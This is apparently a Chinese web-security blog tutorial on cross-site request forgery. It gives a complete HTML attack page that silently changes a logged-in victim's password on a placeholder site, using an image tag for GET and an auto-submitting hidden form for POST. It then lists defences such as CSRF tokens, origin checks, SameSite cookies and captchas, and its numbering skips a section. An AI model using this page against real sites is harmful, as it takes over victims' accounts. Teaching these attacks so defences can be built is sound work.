网络安全:发起一次CSRF攻击!

一、如何发起一次CSRF攻击

1、目标网站信息:

复制代码
接口地址:https://victim.com/change-password
请求类型:get/post
接受参数:password

2、编写一个网页

html 复制代码
<!DOCTYPE html>
<html>
	<body>
		<!-- GET类型的CSRF -->
		<img src="https://victim.com/change-password?password=vme50">
		<!-- POST类型的CSRF -->
		 <form action="https://victim.com/change-password" method=POST>
		    <input type="hidden" name="password" value="vme50" />
		</form>
		<script> document.forms[0].submit(); </script> 
	</body>
</html>

3、诱导用户打开我们的网页

用户在已经登录了https://victim.com这个网站的情况下打开我们的网站,代码会自动发起网络请求,将受害者的账号密码修改为我们设置的值

二、防护策略

1、使用 CSRF Token(推荐):

在每个表单提交或敏感操作中包含一个随机生成的 CSRF Token,并将其与用户的会话关联起来。

服务器在接收到请求时验证 CSRF Token 的有效性,如果不匹配,则拒绝请求。

这样可以防止攻击者伪造请求,因为攻击者无法获取有效的 CSRF Token。

2、同源检测:

① 验证请求头:在服务器端验证请求头中的 Referer 字段或 Origin 字段,确保请求来自合法的源

② 验证域名:在服务器端对请求进行同源检测,只接受来自同一域名下的请求

③ 对在本域发起的攻击无效

将敏感的 Cookie 设置为 SameSite 属性为 Strict 或 Lax,限制其在跨站点请求中的发送,从而减少 CSRF 攻击的风险。

4、二次确认

① 验证码:对于敏感操作,可以要求用户输入验证码进行验证,以确保请求是由真实用户发起的

相关推荐
漏洞文库-Web安全1 小时前
CTFHub-Web-信息泄露
安全·web安全·网络安全·web·ctf·信息泄露·ctfhub
llxxyy卢2 小时前
RCE代码及命令执行漏洞(墨者+pikachu)
安全·web安全
梦想的旅途22 小时前
基于雪花算法(Snowflake)的 Go 语言唯一 ID 生成与并发安全实现
算法·安全·golang
yesyesido2 小时前
PDF全能管家:3合1智能处理,一键解锁高效文档管理新体验
科技·考研·安全·pdf·生活·交互·改行学it
浮尘笔记3 小时前
Go语言中如何实现线程安全的map
开发语言·后端·安全·golang
遇到困难睡大觉哈哈3 小时前
Harmony os ——ArkTS 语言笔记(五):泛型、空安全与可选链
前端·笔记·安全·harmonyos·鸿蒙
白帽子黑客罗哥5 小时前
常见的 Web 攻击手段原理及核心防范思路
web安全·网络安全·渗透测试·漏洞挖掘·就业·护网行动
派拉软件6 小时前
身份访问控制助力企业开启“人、机、系、智”安全高效协同新范式!
服务器·网络·安全·api安全·身份与访问控制·企业协同
灰灰勇闯IT7 小时前
隐语MOOC三期笔记:可信数据空间实战课——从“数据孤岛”到“安全流通”,企业落地的3个关键步骤(附部署脚本)
笔记·安全
2501_930707787 小时前
如何使用C#更改 PDF 文档的安全权限
安全·pdf